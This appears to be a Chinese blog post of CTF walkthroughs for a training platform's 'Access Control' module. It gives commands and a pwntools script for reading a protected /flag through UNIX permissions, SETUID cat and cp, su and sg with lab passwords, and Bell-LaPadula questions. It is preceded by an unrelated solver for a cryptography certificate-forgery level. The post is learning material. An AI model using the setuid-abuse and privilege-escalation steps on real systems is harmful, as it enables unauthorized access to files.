import subprocess, re, json, base64, sys
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util.Padding import pad, unpad
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Random.random import getrandbits
from Crypto.Util.number import long_to_bytes, bytes_to_long
def read_until(proc, marker):
"""Read lines from proc.stdout until a line contains marker. Return the concatenated output (str)."""
out = ""
while True:
line = proc.stdout.readline()
if not line:
break
out += line
sys.stdout.write(line)
sys.stdout.flush()
if marker in line:
break
return out
def read_all(proc):
"""Read remaining stdout until EOF."""
data = proc.stdout.read()
sys.stdout.write(data)
sys.stdout.flush()
return data
def main():
proc = subprocess.Popen(
["/challenge/run"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True,
bufsize=1
)
# 读到 root certificate signature 行(这里会包含 p, g, root key d, root cert 等许多行)
initial = read_until(proc, "root certificate signature (b64):")
# 继续读到 A 和 name 行(服务端在 level14 中会显示 name 和 A AFTER root certificate)
initial += read_until(proc, "name:")
initial += read_until(proc, "A:")
# 解析必要字段:p, g, root key d, root certificate (b64), name, A
m = re.search(r"p: (0x[0-9a-fA-F]+)", initial)
if not m:
print("无法解析 p")
proc.kill()
return
p = int(m.group(1), 16)
m = re.search(r"g: (0x[0-9a-fA-F]+)", initial)
if not m:
print("无法解析 g")
proc.kill()
return
g = int(m.group(1), 16)
m = re.search(r"root key d: (0x[0-9a-fA-F]+)", initial)
if not m:
print("无法解析 root key d")
proc.kill()
return
root_d = int(m.group(1), 16)
m = re.search(r"root certificate \(b64\):\s*([A-Za-z0-9+/=]+)", initial)
if not m:
print("无法解析 root certificate (b64)")
proc.kill()
return
root_cert_b64 = m.group(1)
root_cert = json.loads(base64.b64decode(root_cert_b64))
root_e = root_cert["key"]["e"]
root_n = root_cert["key"]["n"]
m = re.search(r"name: ([a-z]+)", initial)
if not m:
# name 是 16 个小写字母,保守匹配
m = re.search(r"name: ([A-Za-z0-9_-]+)", initial)
if not m:
print("无法解析 name")
proc.kill()
return
name = m.group(1)
m = re.search(r"A: (0x[0-9a-fA-F]+)", initial)
if not m:
print("无法解析 A")
proc.kill()
return
A = int(m.group(1), 16)
print("[*] parsed p,g,root_d,root_cert,name,A")
# -------------------------------------------------------------------------
# 现在我们作为客户端生成 b,计算 B 并发送
b = getrandbits(2048)
B = pow(g, b, p)
# 服务端 input_hex 允许 0x 前缀,因此直接发送 hex(B)
B_hex = hex(B)
print(f"[*] sending B (hex) ...")
proc.stdin.write(B_hex + "\n")
proc.stdin.flush()
# 一旦发送 B,服务器会用它的 a 计算 s,派生 AES key;在我们这端也做相同的计算:
s = pow(A, b, p)
# s -> little-endian, padded to 256 bytes
s_bytes_le = int.to_bytes(s, 256, "little")
key = SHA256.new(s_bytes_le).digest()[:16]
print("[*] derived AES-128 key from DH shared secret")
# 准备 AES cipher(与服务端对称,IV = zeros)
iv = b"\0" * 16
cipher_enc = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
cipher_dec = AES.new(key=key, mode=AES.MODE_CBC, iv=iv)
# 生成 user RSA(1024-bit 满足 2**512 < n < 2**1024)
user_key = RSA.generate(1024)
user_e = user_key.e
user_n = user_key.n
user_d = user_key.d
# 构造 user certificate(注意 name 必须与服务端给出一致)
user_cert = {
"name": name,
"key": {"e": user_e, "n": user_n},
"signer": "root"
}
user_cert_data = json.dumps(user_cert).encode()
# 用 root 私钥对 user_cert 做签名(按服务端实现:对 SHA256(user_cert_data) 的 little-endian bytes 进行 RSA raw 签名)
user_cert_hash = SHA256.new(user_cert_data).digest()
h_int = int.from_bytes(user_cert_hash, "little")
sig_int = pow(h_int, root_d, root_n)
# root_n 为 2048-bit,因此签名用 256 字节 little-endian 表示
user_cert_sig = int.to_bytes(sig_int, 256, "little")
# 现在构造 user_signature:对 handshake data 签名(由 name||A||B 组成)
# 服务端的 user_signature_data 构造方式:
# name.encode().ljust(256, b"\0") + A.to_bytes(256, "little") + B.to_bytes(256, "little")
name_padded = name.encode().ljust(256, b"\0")
A_bytes_256_le = int.to_bytes(A, 256, "little")
B_bytes_256_le = int.to_bytes(B, 256, "little")
user_signature_data = name_padded + A_bytes_256_le + B_bytes_256_le
user_signature_hash = SHA256.new(user_signature_data).digest()
uh_int = int.from_bytes(user_signature_hash, "little")
user_sig_int = pow(uh_int, user_d, user_n)
# 按照服务端的验签方式,转成 256 字节 little-endian
user_signature = int.to_bytes(user_sig_int, 256, "little")
# 加密三项并 base64 编码,顺序必须与服务端 decrypt_input_b64 调用顺序一致:
# 1) user certificate, 2) user certificate signature, 3) user signature
def aes_encrypt_and_b64(raw_bytes):
ct = cipher_enc.encrypt(pad(raw_bytes, AES.block_size))
return base64.b64encode(ct).decode()
enc_user_cert_b64 = aes_encrypt_and_b64(user_cert_data)
enc_user_cert_sig_b64 = aes_encrypt_and_b64(user_cert_sig)
enc_user_signature_b64 = aes_encrypt_and_b64(user_signature)
# 发送三行(每行一个 base64 密文)
proc.stdin.write(enc_user_cert_b64 + "\n")
proc.stdin.flush()
proc.stdin.write(enc_user_cert_sig_b64 + "\n")
proc.stdin.flush()
proc.stdin.write(enc_user_signature_b64 + "\n")
proc.stdin.flush()
# 读取剩余输出直到 EOF
rest = read_all(proc)
all_out = initial + rest
# 提取服务端返回的 secret ciphertext (b64)(这是 AES-CBC 加密的 padded flag)
m = re.search(r"secret ciphertext \(b64\):\s*([A-Za-z0-9+/=]+)", all_out)
if not m:
print("没有找到 secret ciphertext (b64),可能验证没通过。输出如下:")
print(all_out)
return
secret_b64 = m.group(1)
secret_ct = base64.b64decode(secret_b64)
# 用我们派生的 AES key 解密并 unpad 得到 flag
try:
flag_padded = cipher_dec.decrypt(secret_ct)
flag = unpad(flag_padded, AES.block_size)
try:
print("\n[*] flag (utf-8):", flag.decode())
except Exception:
print("\n[*] flag (raw bytes):", flag)
except Exception as e:
print("解密 secret ciphertext 失败:", e)
print("可能是握手或签名某处不匹配,下面是服务端全部输出供调试:")
print(all_out)
if __name__ == "__main__":
main()
Access Control 访问控制
level1
flag由你拥有,具有不同权限
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work with different UNIX permissions on the flag.
The flag file will be owned by you and have 400 permissions.
Before:
-r-------- 1 root root 58 Dec 29 00:48 /flag
After:
-r-------- 1 hacker root 58 Dec 29 00:48 /flag
查看解析
/challenge/run
运行后 /flag 文件的所有者从 root 更改为 hacker
cat /flag
level2
flag由你拥有,具有不同权限
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work with different UNIX permissions on the flag.
The flag file will be owned by root, group as you, and have 040 permissions.
Before:
-r-------- 1 root root 58 Dec 29 02:08 /flag
After:
----r----- 1 root hacker 58 Dec 29 02:08 /flag
查看解析
/challenge/run
之前:只有 root 用户可以读取 /flag。
之后:只有属于 hacker 组的用户可以读取 /flag;root 用户由于所有者读权限被移除,就算是文件所有者,也无法直接读取该文件(除非使用特权恢复权限或通过其他手段)。
cat /flag
level3
flag由你拥有,具有不同权限
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work with different UNIX permissions on the flag.
The flag file will be owned by you and have 000 permissions.
Before:
-r-------- 1 root root 58 Dec 29 02:15 /flag
After:
---------- 1 hacker root 58 Dec 29 02:15 /flag
查看解析
/challenge/run
权限变化:从 -r--------(400,仅所有者可读)变为 ----------(000,无任何权限)。
所有者变化:从 root 变为 hacker。
chmod 400 /flag
文件所有者可修改文件权限
cat /flag
level4
SETUID 如何工作?
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how the SETUID bit for UNIX permissions works.
What if /bin/cat had the SETUID bit set?
Before:
-rwxr-xr-x 1 root root 43416 Sep 5 2019 /bin/cat
After:
-rwsr-xr-x 1 root root 43416 Sep 5 2019 /bin/cat
查看解析
/challenge/run
从 -rwxr-xr-x(755,所有者可读、写、执行,组和其他用户可读、执行)
变为 -rwsr-xr-x(4755,所有者权限中的执行位变为 s,即 setuid 位)
当普通用户执行设置了 setuid 位的程序时,该程序会以文件所有者(这里是 root)的有效用户身份运行
cat /flag
level5
SETUID 和 cp 如何工作?
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how the SETUID bit for UNIX permissions works.
What if /bin/cp had the SETUID bit set?
Hint: Look into how cp will deal with different permissions.
Another Hint: check the man page for cp, any options in there that might help?
Before:
-rwxr-xr-x 1 root root 153976 Sep 5 2019 /bin/cp
After:
-rwsr-xr-x 1 root root 153976 Sep 5 2019 /bin/cp
查看解析
/challenge/run
SETUID 位使 cp 以 root 权限运行,从而能够读取任何文件。关键点在于将 /flag 复制到一个我们拥有且可写的目标文件中,以保持目标文件的所有权和可读性
touch flag
chmod 644 flag
cp /flag flag
cat flag
level6
flag由不同组拥有
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work with different UNIX permissions on the flag.
The flag file is owned by root and a new group.
Hint: Search for how to join a group with a password.
Before:
----r----- 1 root group_jqwqhdkz 58 Dec 29 03:03 /flag
After:
----r----- 1 root group_khkaaevg 58 Dec 29 03:03 /flag
The password for group_khkaaevg is: wguuvrsf
查看解析
/challenge/run
运行后 /flag 文件的权限组从 group_jqwqhdkz 更改为 group_khkaaevg
使用sg命令临时切换到目标组
sg group_khkaaevg
wguuvrsf
cat /flag
level7
flag由你拥有,具有不同权限,多个用户
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how UNIX permissions works with multiple users.
You'll also be given access to various user accounts, use su to switch between them.
Before:
-r-------- 1 root root 58 Dec 29 03:24 /flag
Created user user_mvrikvfn with password ijtlwidr
After:
-------r-- 1 hacker root 58 Dec 29 03:24 /flag
查看解析
/challenge/run
运行后 hacker 作为文件所有者反而无法查看 /flag 文件,可以直接提权
chmod 600 /flag
或者使用普通用户来查看该文件
su user_mvrikvfn
ijtlwidr
cat /flag
level8
flag由其他用户拥有
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how UNIX permissions works with multiple users.
You'll also be given access to various user accounts, use su to switch between them.
Before:
-r-------- 1 root root 58 Dec 29 03:28 /flag
Created user user_qzwbavju with password etstxmym
After:
-r-------- 1 user_qzwbavju root 58 Dec 29 03:28 /flag
查看解析
/challenge/run
运行后 user_qzwbavju 成为文件所有者,切换用户来查看该文件
su user_qzwbavju
etstxmym
cat /flag
level9
flag由其他用户拥有
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how UNIX permissions works with multiple users.
You'll also be given access to various user accounts, use su to switch between them.
Before:
-r-------- 1 root root 58 Dec 29 06:01 /flag
Created user user_xrkuieqp with password kekxzpkk
After:
----r----- 1 root user_xrkuieqp 58 Dec 29 06:01 /flag
查看解析
/challenge/run
运行后 user_xrkuieqp 成为文件权限组,切换用户来查看该文件
su user_xrkuieqp
kekxzpkk
cat /flag
level10
flag由一个组拥有
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how UNIX permissions works with multiple users.
You'll also be given access to various user accounts, use su to switch between them.
Hint: How can you tell which user is in what group?
Before:
-r-------- 1 root root 58 Dec 29 06:24 /flag
Created user user_osxtgork with password talbgsyc
Created user user_ukqhjkjl with password rpufcnen
Created user user_nqkqdpav with password ofxgqeax
Created user user_kxublcnw with password edagzvhn
Created user user_aszttyxk with password dtswrwfm
Created user user_pnosykyt with password xhrnofqe
Created user user_orbbnxat with password jcvfjrsj
Created user user_hyhtjnln with password cppafcwz
Created user user_httqseux with password hblwlaoe
Created user user_qgjbmetl with password szzbzfcr
After:
----r----- 1 root group_htq 58 Dec 29 06:24 /flag
查看解析
/challenge/run
运行后 group_htq 成为文件权限组,切换组内用户来查看该文件
查看组内成员
getent group group_htq
su user_aszttyxk
dtswrwfm
cat /flag
level11
使用多个用户查找flag
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how UNIX permissions for directories work with multiple users.
You'll be given access to various user accounts, use su to switch between them.
Created user user_itrqehbl with password hvkrsvkk
Created user user_yqjathdj with password qgubjqyj
A copy of the flag has been placed somewhere in /tmp:
total 36
drwxrwxrwt 1 root root 4096 Dec 29 06:35 .
drwxr-xr-x 1 root root 4096 Dec 29 06:31 ..
-rw-r--r-- 1 root root 55 Oct 27 19:21 .crates.toml
-rw-r--r-- 1 root root 423 Oct 27 19:21 .crates2.json
drwxr-xr-x 2 hacker hacker 4096 Dec 29 06:31 .dojo
drwxr-xr-x 2 root root 4096 Oct 27 19:21 bin
drwxr-xr-x 1 root root 4096 Oct 27 19:10 hsperfdata_root
drwx------ 2 mysql mysql 4096 Oct 27 19:11 tmp.2dyEZcT2Od
dr-xr-x--x 2 root user_yqjathdj 4096 Dec 29 06:35 tmpoy95q26b
查看解析
/challenge/run
运行后发现 tmpoy95q26b 目录内容user_yqjathdj可以查看
su user_yqjathdj
qgubjqyj
ls -al /tmp/tmpoy95q26b
发现 tmp_iwf30_a 文件user_itrqehbl可以查看
su user_itrqehbl
hvkrsvkk
cat /tmp/tmpoy95q26b/tmp_iwf30_a
level12
使用多个用户查找flag
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you will work understand how UNIX permissions for directories work with multiple users.
You'll be given access to various user accounts, use su to switch between them.
Created user user_kwohugbf with password hqpfvidu
Created user user_nrhiibsp with password cqlvvstf
Created user user_eghtlacp with password wxztibfs
A copy of the flag has been placed somewhere in /tmp:
total 36
drwxrwxrwt 1 root root 4096 Dec 29 06:47 .
drwxr-xr-x 1 root root 4096 Dec 29 06:45 ..
-rw-r--r-- 1 root root 55 Oct 27 19:21 .crates.toml
-rw-r--r-- 1 root root 423 Oct 27 19:21 .crates2.json
drwxr-xr-x 2 hacker hacker 4096 Dec 29 06:45 .dojo
drwxr-xr-x 2 root root 4096 Oct 27 19:21 bin
drwxr-xr-x 1 root root 4096 Oct 27 19:10 hsperfdata_root
drwx------ 2 mysql mysql 4096 Oct 27 19:11 tmp.2dyEZcT2Od
dr-xr-x--x 3 root user_kwohugbf 4096 Dec 29 06:47 tmp237y24q5
查看解析
/challenge/run
运行后发现 tmp237y24q5 目录内容user_kwohugbf可以查看
su user_kwohugbf
hqpfvidu
ls -al /tmp/tmp237y24q5
发现 tmp76otv8f4 目录内容user_nrhiibsp可以查看
su user_nrhiibsp
cqlvvstf
ls -al /tmp/tmp237y24q5/tmp76otv8f4
发现 tmpbipjqj1v 文件user_eghtlacp可以查看
su user_eghtlacp
wxztibfs
cat /tmp/tmp237y24q5/tmp76otv8f4/tmpbipjqj1v
level13
一个没有类别的强制访问控制问题
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you'll be answering questions about the standard Bell–LaPadula model of Mandatory Access Control.
Answer the question about the model to get the flag.
In this challenge, your goal is to answer 1 questions correctly in 120 seconds about the following Mandatory Access Control (MAC) system:
4 Levels (first is highest aka more sensitive):
TS
S
C
UC
Q 1. Can a Subject with level UC read an Object with level UC?
安全等级(从高到低)
英文全称 / 含义
通俗比喻
典型示例
TS
Top Secret (绝密)
公司核心商业机密、国家最高机密
新型武器设计图、重大战略行动计划、未公开的突破性科研成果
S
Secret (机密)
重要部门内部文件
季度财务详细数据、未公开的作战方案、敏感的客户信息
C
Confidential (秘密)
一般内部信息
员工手册(未公开版)、项目计划草案、内部会议纪要
UC
Unclassified 或 Public (非密 / 公开)
可以对外公开的信息
公司宣传册、公开发布的年报、官方网站上的产品介绍
查看解析
/challenge/run
拥有UC级别的主体能否读取UC级别的对象?
回答:yes
level14
五个没有类别的强制访问控制问题
查看解析
同上,回答问题即可
level15
一个有类别的强制访问控制问题
===== Welcome to Access Control! =====
In this series of challenges, you will be working with various access control systems.
Break the system to get the flag.
In this challenge you'll be answering questions about the category-based Bell–LaPadula model of Mandatory Access Control.
Answer the question about the model to get the flag.
In this challenge, your goal is to answer 1 questions correctly in 120 seconds about the following Mandatory Access Control (MAC) system:
4 Levels (first is highest aka more sensitive):
TS
S
C
UC
4 Categories:
UFO
NUC
NATO
ACE
Q 1. Can a Subject with level S and categories {NUC, ACE} write an Object with level S and categories {ACE}?
类别
英文全称 / 含义
通俗解释与典型范围
UFO
Unidentified Flying Objects / 高度敏感特殊项目
通常代表最高机密或极其特殊的项目领域,远超常规军事机密。可能涉及前沿科技、绝密行动等。
NUC
Nuclear / 核相关
所有与核武器、核材料、核设施、核技术相关的信息。
NATO
North Atlantic Treaty Organization / 北约相关
与北大西洋公约组织相关的联盟行动、共享情报、联合军事计划等。
ACE
Allied Combat Efficiency / 盟友作战效能
与盟友间(可能不限于北约)的作战协同、训练、装备互操作性、战术数据链等。
查看解析
一个拥有S安全级别且类别为{NUC, ACE}的主体,能否写入一个拥有S安全级别且类别为{ACE}的对象?
回答:no
level16
五个有类别的强制访问控制问题
查看解析
同上,回答问题即可
level17
在一秒内自动回答 20 个有类别的强制访问控制问题
from pwn import *
import re
import sys
def parse_question(q):
"""解析问题,返回主体级别、主体类别、客体级别、客体类别和操作"""
# 提取主体级别
subject_level_match = re.search(r'Subject with level (\w+)', q)
subject_level = subject_level_match.group(1) if subject_level_match else None
# 提取主体类别
subject_cats_match = re.search(r'categories (\{[^}]*\})', q)
subject_cats = subject_cats_match.group(1) if subject_cats_match else "{}"
# 提取操作
action_match = re.search(r' (\w+) an Object', q)
action = action_match.group(1) if action_match else None
# 提取客体级别
object_level_match = re.search(r'Object with level (\w+)', q)
object_level = object_level_match.group(1) if object_level_match else None
# 提取客体类别
object_cats_match = re.search(r'categories (\{[^}]*\})\?', q)
object_cats = object_cats_match.group(1) if object_cats_match else "{}"
return subject_level, subject_cats, object_level, object_cats, action
def is_subset_equal(a, b):
"""判断a是否是b的子集(包含相等)"""
# 将集合字符串转换为集合
a_set = set(a.strip("{}").replace(" ", "").split(",")) if a != "{}" else set()
b_set = set(b.strip("{}").replace(" ", "").split(",")) if b != "{}" else set()
# 判断a是否是b的子集
return a_set.issubset(b_set)
def get_level_value(level_str, levels_order):
"""根据级别名称获取其数值(越高越敏感)"""
return levels_order.index(level_str)
def solve():
# 连接到挑战
context.log_level = 'error' # 减少输出噪音
p = process("/challenge/run")
# 读取初始信息,获取级别和类别信息
print("正在读取级别和类别信息...")
# 读取直到问题开始
data = p.recvuntil(b"Q 1.").decode()
# 提取级别信息
levels_start = data.find("Levels (first is highest aka more sensitive):")
categories_start = data.find("Categories:")
# 解析级别顺序
levels_lines = data[levels_start:categories_start].strip().split('\n')[1:]
levels_order = [line.strip() for line in levels_lines if line.strip()]
print(f"级别顺序: {levels_order}")
# 解析类别
categories_lines = data[categories_start:].strip().split('\n')[1:]
categories = [line.strip() for line in categories_lines if line.strip()]
print(f"类别: {categories}")
# 现在开始回答问题
question_count = 0
while question_count < 128:
try:
# 读取当前问题
if question_count == 0:
# 第一个问题已经读取了"Q 1.",现在读取剩余部分
question = "Q 1." + p.recvuntil(b"?", timeout=2).decode()
else:
# 等待下一个问题
p.recvuntil(f"Q {question_count + 1}.".encode())
question = f"Q {question_count + 1}." + p.recvuntil(b"?", timeout=2).decode()
print(f"\n问题 {question_count + 1}: {question}")
# 解析问题
subject_level, subject_cats, object_level, object_cats, action = parse_question(question)
# 获取级别数值
subject_level_val = get_level_value(subject_level, levels_order)
object_level_val = get_level_value(object_level, levels_order)
# 根据Bell-LaPadula规则判断是否允许
if action == "read":
# 读取规则:主体级别 >= 客体级别,且客体类别 ⊆ 主体类别
level_allowed = subject_level_val <= object_level_val # 注意:级别数值越小表示越高
category_allowed = is_subset_equal(object_cats, subject_cats)
allowed = level_allowed and category_allowed
else: # write
# 写入规则:客体级别 >= 主体级别,且主体类别 ⊆ 客体类别
level_allowed = object_level_val <= subject_level_val # 注意:级别数值越小表示越高
category_allowed = is_subset_equal(subject_cats, object_cats)
allowed = level_allowed and category_allowed
# 发送答案
answer = "yes" if allowed else "no"
p.sendline(answer.encode())
print(f"回答: {answer}")
# 读取"Correct!"响应
response = p.recvline(timeout=1).decode().strip()
if "Correct!" in response:
print(f"正确!")
elif "Incorrect!" in response:
print(f"错误!")
break
question_count += 1
except EOFError:
print("进程结束")
break
except Exception as e:
print(f"错误: {e}")
break
# 读取最终结果
try:
result = p.recvall(timeout=2).decode()
print("\n" + result)
except:
pass
p.close()
if __name__ == "__main__":
solve()
level18
在一秒内自动回答 64 个有类别的强制访问控制问题
查看解析
同上
level19
在一秒内自动回答 128 个随机级别和类别的强制访问控制问题
查看解析
同上

这一次我要得到橙色腰带!!
浙公网安备 33010602011771号